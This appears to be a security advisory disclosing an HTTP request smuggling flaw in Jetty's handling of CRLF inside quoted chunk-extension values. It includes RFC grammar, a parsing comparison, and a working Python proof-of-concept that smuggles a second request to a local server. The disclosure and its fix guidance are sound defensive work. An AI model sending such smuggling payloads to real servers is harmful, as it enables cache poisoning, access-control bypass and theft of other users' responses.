Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Impact

• Request Smuggling: Attacker injects arbitrary HTTP requests
• Cache Poisoning: Smuggled responses poison shared caches
• Access Control Bypass: Smuggled requests bypass frontend security
• Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker
2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
• details for security versions https://jetty.org/security.html